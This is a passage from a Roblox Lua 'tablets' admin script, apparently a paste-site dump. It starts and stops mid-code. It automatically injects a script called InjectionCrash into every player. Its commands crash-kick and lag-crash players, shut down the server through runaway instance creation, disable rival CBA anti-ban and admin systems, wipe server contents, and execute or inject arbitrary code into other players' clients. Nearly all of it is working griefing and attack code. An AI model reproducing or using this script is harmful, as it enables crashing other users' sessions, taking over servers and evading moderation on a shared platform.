  1685. cPos = cPos + nPos
  1686. local t = (tick() - starttime) % 360
  1687. local change = 0.625
  1688. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1689. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  1690. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1691. end)
  1692. end
  1693. end
  1694. end)
  1695. end
  1696. end)
  1697.  
  1698. Delay(0, function()
  1699. while wait() do
  1700. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1701. ypcall(function()
  1702. if Injected[v.Name] == nil and LS ~= nil then
  1703. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1704. Injected[v.Name] = true
  1705. end
  1706. end)
  1707. end
  1708. end
  1709. end)
  1710.  
  1711. Plrs.PlayerAdded:connect(function(Plr)
  1712. wait(.1)
  1713. ypcall(function()
  1714. if Removed == false then
  1715. local JoinPlrName = Plr.Name
  1716. coroutine.resume(coroutine.create(function()
  1717. PlaceSpecificRank(Plr)
  1718. end))
  1719. coroutine.resume(coroutine.create(function()
  1720. if Injected[JoinPlrName] ~= nil then
  1721. Injected[JoinPlrName] = nil
  1722. end
  1723. end))
  1724. coroutine.resume(coroutine.create(function()
  1725. Dismiss(Plr)
  1726. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1727. end))
  1728. end
  1729. end)
  1730. end)
  1731.  
  1732. Plrs.PlayerRemoving:connect(function(Plr)
  1733. wait(.1)
  1734. ypcall(function()
  1735. if Removed == false then
  1736. local LeftPlrName = Plr.Name
  1737. coroutine.resume(coroutine.create(function()
  1738. if Injected[LeftPlrName] ~= nil then
  1739. Injected[LeftPlrName] = nil
  1740. end
  1741. end))
  1742. end
  1743. end)
  1744. end)
  1745.  
  1746. coroutine.resume(coroutine.create(function()
  1747. Delay(0, function()
  1748. while FoundLocalScript == false do wait()
  1749. ypcall(function()
  1750. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1751. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1752. for _,c in pairs(v:children()) do
  1753. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1754. local NewVal = c:Clone()
  1755. NewVal.Name = "LoadingVal"
  1756. for _,s in pairs(v:GetChildren()) do
  1757. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1758. print("Found Owner")
  1759. OwnSource = s.Name
  1760. print(OwnSource)
  1761. break
  1762. end
  1763. end
  1764. wait()
  1765. LS = v:Clone()
  1766. NewVal.Parent = LS
  1767. LSSource = "LoadingVal"
  1768. FoundLocalScript = true
  1769. break
  1770. end
  1771. end
  1772. end
  1773. end
  1774. end)
  1775. end
  1776. end)
  1777. end))
  1778.  
  1779. --Commands
  1780.  
  1781. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1782. Dismiss(Speaker.Name)
  1783. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1784. Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1785. Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1786. Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1787. Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1788. Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1789. Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1790. Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1791.  
  1792. end)
  1793.  
  1794. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1795. Dismiss(Speaker.Name)
  1796. end)
  1797.  
  1798. Command("Kill", 2, "Kills A Player",
  1799. function(Msg, Speaker)
  1800. local PlrTab = getPlayer(Speaker, Msg)
  1801. if #PlrTab > 0 then
  1802. for _,v in pairs(PlrTab) do
  1803. ypcall(function()
  1804. v.Character:BreakJoints()
  1805. Ping("Killed "..v.Name, Speaker, 5)
  1806. end)
  1807. end
  1808. end
  1809. end)
  1810.  
  1811. Command("expl", 2, "Explodes A Player",
  1812. function(Msg, Speaker)
  1813. local PlrTab = getPlayer(Speaker, Msg)
  1814. if #PlrTab > 0 then
  1815. for _,v in pairs(PlrTab) do
  1816. ypcall(function()
  1817. if v.Character and v.Character:findFirstChild("Head") then
  1818. local e = Instance.new("Explosion")
  1819. e.Position = v.Character.Head.Position
  1820. e.Parent = v.Character
  1821. Ping("Exploded "..v.Name, Speaker, 5)
  1822. end
  1823. end)
  1824. end
  1825. end
  1826. end)
  1827.  
  1828.  
  1829. Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
  1830. Dismiss()
  1831. end)
  1832.  
  1833. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1834. local PlrTab = getPlayer(Speaker, Msg)
  1835. if #PlrTab > 0 then
  1836. for _,v in pairs(PlrTab) do
  1837. ypcall(function()
  1838. if v.Name ~= Owner then
  1839. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1840. Ping("Muted "..v.Name, Speaker, 5)
  1841. end
  1842. end)
  1843. end
  1844. end
  1845. end)
  1846.  
  1847.  
  1848.  
  1849. Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
  1850. local PlrTab = getPlayer(Speaker, Msg)
  1851. if #PlrTab > 0 then
  1852. for _,v in pairs(PlrTab) do
  1853. ypcall(function()
  1854. Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  1855.  
  1856. end)
  1857. end
  1858. end
  1859. end)
  1860.  
  1861. Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
  1862. local PlrTab = getPlayer(Speaker, Msg)
  1863. if #PlrTab > 0 then
  1864. for _,v in pairs(PlrTab) do
  1865. ypcall(function()
  1866. Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  1867.  
  1868. end)
  1869. end
  1870. end
  1871. end)
  1872. Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
  1873. Dismiss()
  1874. for i = 1, 2 do
  1875. Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
  1876. end end)
  1877. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1878. local PlrTab = getPlayer(Speaker, Msg)
  1879. if #PlrTab > 0 then
  1880. for _,v in pairs(PlrTab) do
  1881. ypcall(function()
  1882. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1883. Ping("Rejoined "..v.Name, Speaker, 5)
  1884. end)
  1885. end
  1886. end
  1887. end)
  1888.  
  1889. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  1890. local PlrTab = getPlayer(Speaker, Msg)
  1891. if #PlrTab > 0 then
  1892. for _,v in pairs(PlrTab) do
  1893. ypcall(function()
  1894. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1895. Ping("Jailed "..v.Name, Speaker, 5)
  1896. end)
  1897. end
  1898. end
  1899. end)
  1900.  
  1901. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1902. local PlrTab = getPlayer(Speaker, Msg)
  1903. if #PlrTab > 0 then
  1904. for _,v in pairs(PlrTab) do
  1905. ypcall(function()
  1906. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1907. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1908. end)
  1909. end
  1910. end
  1911. end)
  1912.  
  1913. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1914. local PlrTab = getPlayer(Speaker, Msg)
  1915. if #PlrTab > 0 then
  1916. for _,v in pairs(PlrTab) do
  1917. ypcall(function()
  1918. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1919. Ping("UnMuted "..v.Name, Speaker, 5)
  1920. end)
  1921. end
  1922. end
  1923. end)
  1924.  
  1925. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1926. local Worked = false
  1927. for _,v in pairs(Work:GetChildren()) do
  1928. if string.find(v.Name:lower(), Msg:lower()) then
  1929. if v:IsA("Script") or v:IsA("LocalScript") then
  1930. v.Disabled = true
  1931. v:Destroy()
  1932. Worked = true
  1933. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1934. end
  1935. end
  1936. end
  1937. if Worked == false then
  1938. Ping("Script Not Found", Speaker, 5)
  1939. end
  1940. end)
  1941.  
  1942. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1943. Dismiss(Speaker)
  1944. local AllScripts = {}
  1945. for _,v in pairs(Work:GetChildren()) do
  1946. if v:IsA("Script") then
  1947. table.insert(AllScripts, v.Name)
  1948. end
  1949. end
  1950. if #AllScripts > 0 then
  1951. for _,v in pairs(AllScripts) do
  1952. Ping(v, Speaker)
  1953. end
  1954. else
  1955. Ping("No Scripts Found", Speaker, 5)
  1956. end
  1957. end)
  1958.  
  1959. Command("afk",0,'Makes you go AFK',
  1960. function(Msg,Speaker)
  1961. Dismiss(Speaker)
  1962. for i = 1,8 do
  1963. Ping('AFK',Speaker)
  1964. wait(.01)
  1965. end
  1966. end)
  1967. Command("back",0,'Creates Tablets telling everyone that you are back',
  1968. function(Msg,Speaker)
  1969. Dismiss(Speaker)
  1970. for i = 1,8 do
  1971. Ping('Welcome Back!',Speaker,6)
  1972. wait(.1)
  1973. end
  1974. end)
  1975.  
  1976.  
  1977.  
  1978.  
  1979. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1980. Dismiss(Speaker)
  1981. local LocalScripts = {}
  1982. for _,v in pairs(All()) do
  1983. ypcall(function()
  1984. for _,x in pairs(v.Character:GetChildren()) do
  1985. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1986. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1987. end
  1988. end
  1989. end)
  1990. ypcall(function()
  1991. for _,x in pairs(v.Backpack:GetChildren()) do
  1992. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1993. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1994. end
  1995. end
  1996. end)
  1997. ypcall(function()
  1998. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1999. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  2000. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2001. end
  2002. end
  2003. end)
  2004. end
  2005. if #LocalScripts > 0 then
  2006. for _,v in pairs(LocalScripts) do
  2007. Ping(v, Speaker)
  2008. end
  2009. else
  2010. Ping("No Local Scripts Found", Speaker, 5)
  2011. end
  2012. end)
  2013.  
  2014. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  2015. local Split = GetSplit(Msg)
  2016. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2017. local ScriptName = Msg:sub(Split + 1)
  2018. local FoundLocal = false
  2019. for _,name in pairs(PlrTab) do
  2020. ypcall(function()
  2021. for _,v in pairs(name.Character:GetChildren()) do
  2022. if string.find(v.Name:lower(), ScriptName) then
  2023. if v:IsA("Script") or v:IsA("LocalScript") then
  2024. v.Disabled = true
  2025. v:Destroy()
  2026. FoundLocal = true
  2027. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2028. end
  2029. end
  2030. end
  2031. end)
  2032. ypcall(function()
  2033. for _,v in pairs(name.Backpack:GetChildren()) do
  2034. if string.find(v.Name:lower(), ScriptName) then
  2035. if v:IsA("Script") or v:IsA("LocalScript") then
  2036. v.Disabled = true
  2037. v:Destroy()
  2038. FoundLocal = true
  2039. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2040. end
  2041. end
  2042. end
  2043. end)
  2044. ypcall(function()
  2045. for _,v in pairs(name.PlayerGui:GetChildren()) do
  2046. if string.find(v.Name:lower(), ScriptName) then
  2047. if v:IsA("Script") or v:IsA("LocalScript") then
  2048. v.Disabled = true
  2049. v:Destroy()
  2050. FoundLocal = true
  2051. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2052. end
  2053. end
  2054. end
  2055. end)
  2056. if FoundLocal == false then
  2057. Ping("Local Script Not Found", Speaker, 5)
  2058. end
  2059. end
  2060. end)
  2061.  
  2062. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  2063. for _,v in pairs(game:GetChildren()) do
  2064. ypcall(function()
  2065. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  2066. for _,a in pairs(v:GetChildren()) do
  2067. ypcall(function()
  2068. a:Destroy()
  2069. end)
  2070. end
  2071. elseif v.Name == "Players" then
  2072. for _,plr in pairs(v:GetPlayers()) do
  2073. Clear(plr)
  2074. end
  2075. end
  2076. end)
  2077. end
  2078. Clean()
  2079. Fixl()
  2080. Ping("Fully Cleaned", Speaker, 5)
  2081. end)
  2082.  
  2083. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  2084. LClean()
  2085. Fixl()
  2086. Ping("Lightly Cleaned", Speaker, 5)
  2087. end)
  2088.  
  2089. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  2090. local PlrTab = getPlayer(Speaker, Msg)
  2091. if #PlrTab > 0 then
  2092. for _,v in pairs(PlrTab) do
  2093. ypcall(function()
  2094. v:LoadCharacter()
  2095. Ping("Reset "..v.Name, Speaker, 5)
  2096. end)
  2097. end
  2098. end
  2099. end)
  2100.  
  2101. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  2102. repeat wait() until Speaker.Character:findFirstChild("Torso")
  2103. if Work:findFirstChild("Base") then
  2104. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2105. else
  2106. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2107. end
  2108. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  2109. end)
  2110.  
  2111. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  2112. local PlrTab = getPlayer(Speaker, Msg)
  2113. if #PlrTab > 0 then
  2114. for _,v in pairs(PlrTab) do
  2115. ypcall(function()
  2116. v.Character.Torso.Anchored = true
  2117. Ping("Froze "..v.Name, Speaker, 5)
  2118. end)
  2119. end
  2120. end
  2121. end)
  2122.  
  2123. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  2124. wait(3)
  2125. Ping("Something went wrong",Speaker,5)
  2126. end)
  2127.  
  2128. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  2129. local PlrTab = getPlayer(Speaker, Msg)
  2130. if #PlrTab > 0 then
  2131. for _,v in pairs(PlrTab) do
  2132. ypcall(function()
  2133. Instance.new("ForceField", v.Character)
  2134. end)
  2135. end
  2136. end
  2137. end)
  2138.  
  2139. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  2140. local PlrTab = getPlayer(Speaker, Msg)
  2141. if #PlrTab > 0 then
  2142. for _,v in pairs(PlrTab) do
  2143. ypcall(function()
  2144. RemObj(v.Character, "ForceField")
  2145. end)
  2146. end
  2147. end
  2148. end)
  2149.  
  2150. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  2151. local Split = GetSplit(Msg)
  2152. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2153. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  2154. if #PlrTab > 0 and #PlrTab2 > 0 then
  2155. for i,v in pairs(PlrTab) do
  2156. ypcall(function()
  2157. for _,v2 in pairs(PlrTab2) do
  2158. ypcall(function()
  2159. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  2160. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  2161. end)
  2162. end
  2163. end)
  2164. end
  2165. end
  2166. end)
  2167.  
  2168. Command("Msg",2, "Creates a Message",
  2169. function(Msg,Speaker)
  2170. Message(Msg)
  2171. end)
  2172.  
  2173. Command("H",2, "Creates a Hint",
  2174. function(Msg,Speaker)
  2175. Hint(Msg)
  2176. end)
  2177.  
  2178. Command("Sm",2, "Creates a System message",
  2179. function(Msg,Speaker)
  2180. SystemMsg(Msg)
  2181. end)
  2182.  
  2183. function Message(str,p)
  2184. if p==nil then
  2185. for _,Player in pairs(game.Players:GetPlayers()) do
  2186. coroutine.wrap(function()
  2187. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2188. local Text = Instance.new("TextLabel", Msg)
  2189. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2190. Text.Font=2
  2191. Text.FontSize=9
  2192. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2193. Text.BackgroundTransparency = 0.4
  2194. Text.TextColor3 = Color3.new(1, 1, 1)
  2195. Text.TextTransparency = 1
  2196. Text.TextWrap = true
  2197. Text.Text = tostring(str)
  2198. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2199. Text.TextTransparency = 0
  2200. Num = #str * 0.06
  2201. wait(3)
  2202. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2203. wait(Num)
  2204. Msg:Remove()
  2205. end)()
  2206. end
  2207. else
  2208. Player=p;
  2209. coroutine.wrap(function()
  2210. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2211. local Text = Instance.new("TextLabel", Msg)
  2212. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2213. Text.Font=2
  2214. Text.FontSize=9
  2215. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2216. Text.BackgroundTransparency = 0.1
  2217. Text.TextColor3 = Color3.new(1, 1, 1)
  2218. Text.TextTransparency = 1
  2219. Text.TextWrap = true
  2220. Text.Text = tostring(str)
  2221. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2222. Text.TextTransparency = 0
  2223. Num = #str * 0.06
  2224. wait(3)
  2225. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2226. wait(Num)
  2227. Msg:Remove()
  2228. end)()
  2229. end
  2230. end
  2231. function SystemMsg(str)
  2232. for _,Player in pairs(game.Players:GetPlayers()) do
  2233. coroutine.wrap(function()
  2234. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2235. local Text = Instance.new("TextLabel", Msg)
  2236. Text.Position = UDim2.new(0, 0, 0, 0)
  2237. Text.Font='Legacy'
  2238. Text.FontSize = "Size48"
  2239. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2240. Text.BackgroundTransparency = 0.4
  2241. Text.TextColor3 = Color3.new(1,1,1)
  2242. Text.TextTransparency = 0
  2243. Text.TextWrap = true
  2244. Text.Text = ' [ System ] \n ' .. tostring(str)
  2245. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2246. Text.TextTransparency = 0.1
  2247. Num = #str * 0.06
  2248. wait(6)
  2249. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2250. wait(Num)
  2251. Msg:Remove()
  2252. end)()
  2253. end
  2254. end
  2255. function Hint(str,p)
  2256. if p == nil then
  2257. for _,Player in pairs(game.Players:GetPlayers()) do
  2258. coroutine.wrap(function()
  2259. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2260. local Text = Instance.new("TextLabel", Msg)
  2261. Text.Position = UDim2.new(0, 0, 0, 0)
  2262. Text.Font=2
  2263. Text.FontSize=9
  2264. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2265. Text.BackgroundTransparency = 0.4
  2266. Text.TextColor3 = Color3.new(1, 1, 1)
  2267. Text.TextTransparency = 1
  2268. Text.TextWrap = true
  2269. Text.Text = tostring(str)
  2270. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2271. Text.TextTransparency = 0
  2272. Num = #str * 0.06
  2273. wait(3)
  2274. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2275. wait(Num)
  2276. Msg:Remove()
  2277. end)()
  2278. end
  2279. else
  2280. Player=p
  2281. coroutine.wrap(function()
  2282. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2283. local Text = Instance.new("TextLabel", Msg)
  2284. Text.Position = UDim2.new(0, 0, 0, 0)
  2285. Text.Font=2
  2286. Text.FontSize=9
  2287. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2288. Text.BackgroundTransparency = 0.1
  2289. Text.TextColor3 = Color3.new(1, 1, 1)
  2290. Text.TextTransparency = 1
  2291. Text.TextWrap = true
  2292. Text.Text = tostring(str)
  2293. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2294. Text.TextTransparency = 0
  2295. Num = #str * 0.06
  2296. wait(3)
  2297. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2298. wait(Num)
  2299. Msg:Remove()
  2300. end)()
  2301. end
  2302. end
  2303.  
  2304. Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
  2305. MakeExplorer(Speaker)
  2306. end)
  2307.  
  2308.  
  2309. Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
  2310. wait()
  2311. Dismiss(Speaker)
  2312. NumBanned = 0
  2313. NumCmds = 0
  2314. for i = 1, #Rankings do
  2315. if Rankings[i].Rank < 0 then
  2316. NumBanned = NumBanned + 1
  2317. end
  2318. end
  2319. for i,v in pairs(Commands) do
  2320. NumCmds = NumCmds + 1
  2321. end
  2322. Ping("KAJ Tablets!", Speaker)
  2323. Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  2324. Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
  2325. Ping("I started this on 6/9/2014", Speaker)
  2326.  
  2327. Ping(#All2.." players online in the server",Speaker)
  2328. Ping(NumCmds.." Commands",Speaker)
  2329. Ping(NumBanned.." players banned", Speaker,5)
  2330.  
  2331. end)
  2332.  
  2333. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  2334. Dismiss(Speaker)
  2335. for i,v in pairs(All()) do
  2336. Ping(v.Name.."'s Rank: "..FindRank(v))
  2337. end
  2338. end)
  2339.  
  2340. Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
  2341. local Split = GetSplit(Msg)
  2342. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2343. local Speed = tonumber(Msg:sub(Split + 1))
  2344. for _,v in pairs(PlrTab) do
  2345. ypcall(function()
  2346. v.Character.Humanoid.WalkSpeed = Speed
  2347. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  2348. end)
  2349. end
  2350. end)
  2351.  
  2352. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  2353. local RemoveAB = Instance.new("StringValue")
  2354. RemoveAB.Name = "CBA Attachment"
  2355. RemoveAB.Value = [[CBA.override=true;]]
  2356. RemoveAB.Parent = Work
  2357. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  2358. end)
  2359.  
  2360. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  2361. Dismiss(Speaker)
  2362. for i,v in pairs(Injected) do
  2363. Ping(i, Speaker)
  2364. end
  2365. end)
  2366.  
  2367. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  2368. local RemoveCBA = Instance.new("StringValue")
  2369. RemoveCBA.Name = "CBA Attachment"
  2370. RemoveCBA.Value = [[CBA.remove = false]]
  2371. RemoveCBA.Parent = Work
  2372. Ping("Removed All CBA Admins", Speaker, 5)
  2373. end)
  2374.  
  2375. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  2376. local function BufferOverflow(object)
  2377. object.DescendantAdded:connect(BufferOverflow)
  2378. Instance.new("IntValue", object)
  2379. end
  2380. BufferOverflow(Game)
  2381. end)
  2382.  
  2383. Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  2384. local PlrTab = getPlayer(Speaker, Msg)
  2385. if #PlrTab > 0 then
  2386. for _,v in pairs(PlrTab) do
  2387. ypcall(function()
  2388. Crash1(v)
  2389.  
  2390. end)
  2391. end
  2392. end
  2393. end)
  2394.  
  2395. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  2396. local PlrTab = getPlayer(Speaker, Msg)
  2397. if #PlrTab > 0 then
  2398. for _,v in pairs(PlrTab) do
  2399. ypcall(function()
  2400. ChangeRank(v, -1)
  2401. end)
  2402. end
  2403. end
  2404. end)
  2405.  
  2406. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  2407. local PlrTab = getPlayer(Speaker, Msg)
  2408. if #PlrTab > 0 then
  2409. for _,v in pairs(PlrTab) do
  2410. ypcall(function()
  2411. ChangeRank(v, -2)
  2412. end)
  2413. end
  2414. end
  2415. end)
  2416.  
  2417.  
  2418.  
  2419.  
  2420.  
  2421. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2422. local PlrTab = getPlayer(Speaker, Msg)
  2423. if #PlrTab > 0 then
  2424. for _,v in pairs(PlrTab) do
  2425. ypcall(function()
  2426. ChangeRank(v, -3)
  2427. end)
  2428. end
  2429. end
  2430. end)
  2431.  
  2432. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2433. ypcall(function()
  2434. local PlrTab = getPlayer(Speaker, Msg)
  2435. if #PlrTab > 0 then
  2436. for _,v in pairs(PlrTab) do
  2437. ypcall(function()
  2438. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2439. end)
  2440. end
  2441. end
  2442. local PlrName = ChangeRank(Msg, 0)
  2443. Ping("Un-Banned "..PlrName, Speaker, 5)
  2444. end)
  2445. end)
  2446.  
  2447. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2448. Dismiss(Speaker)
  2449. Ping("Commands", Speaker, nil, function()
  2450. Dismiss(Speaker.Name)
  2451. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2452. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2453. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2454. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2455. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2456. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2457. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2458. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2459. end)
  2460. Ping("Players", Speaker, nil, function()
  2461. ListPlayers(Speaker)
  2462. end)
  2463. end)
  2464.  
  2465. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2466. ListPlayers(Speaker)
  2467. end)
  2468.  
  2469. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2470. local Func,Error = loadstring(Msg)
  2471. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2472. getfenv(Func).Speaker = Speaker
  2473. if Error == nil then
  2474. coroutine.wrap(function()
  2475. Func()
  2476. end)()
  2477. Ping("Executed Script!", Speaker, 5)
  2478. else
  2479. Ping(Error, Speaker, 10)
  2480. end
  2481. end)
  2482.  
  2483. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2484. if LS ~= nil then
  2485. local Split = GetSplit(Msg)
  2486. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2487. local LocalSource = Msg:sub(Split + 1)
  2488. if #PlrTab > 0 then
  2489. for _,v in pairs(PlrTab) do
  2490. local Inserted = LS:Clone()
  2491. Inserted.Disabled = true
  2492. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2493. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2494. Inserted:findFirstChild(OwnSource).Value = v.Name
  2495. end
  2496. Inserted[LSSource].Value = LocalSource
  2497. Inserted.Disabled = false
  2498. end
  2499. end
  2500. else
  2501. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2502. end
  2503. end)
  2504.  
  2505. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2506. Msg = tostring(Msg)
  2507. Ping(Msg, Speaker)
  2508. end)
  2509.  
  2510. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2511. Dismiss(Speaker)
  2512. for i,v in pairs(getfenv(1)) do
  2513. ypcall(function()
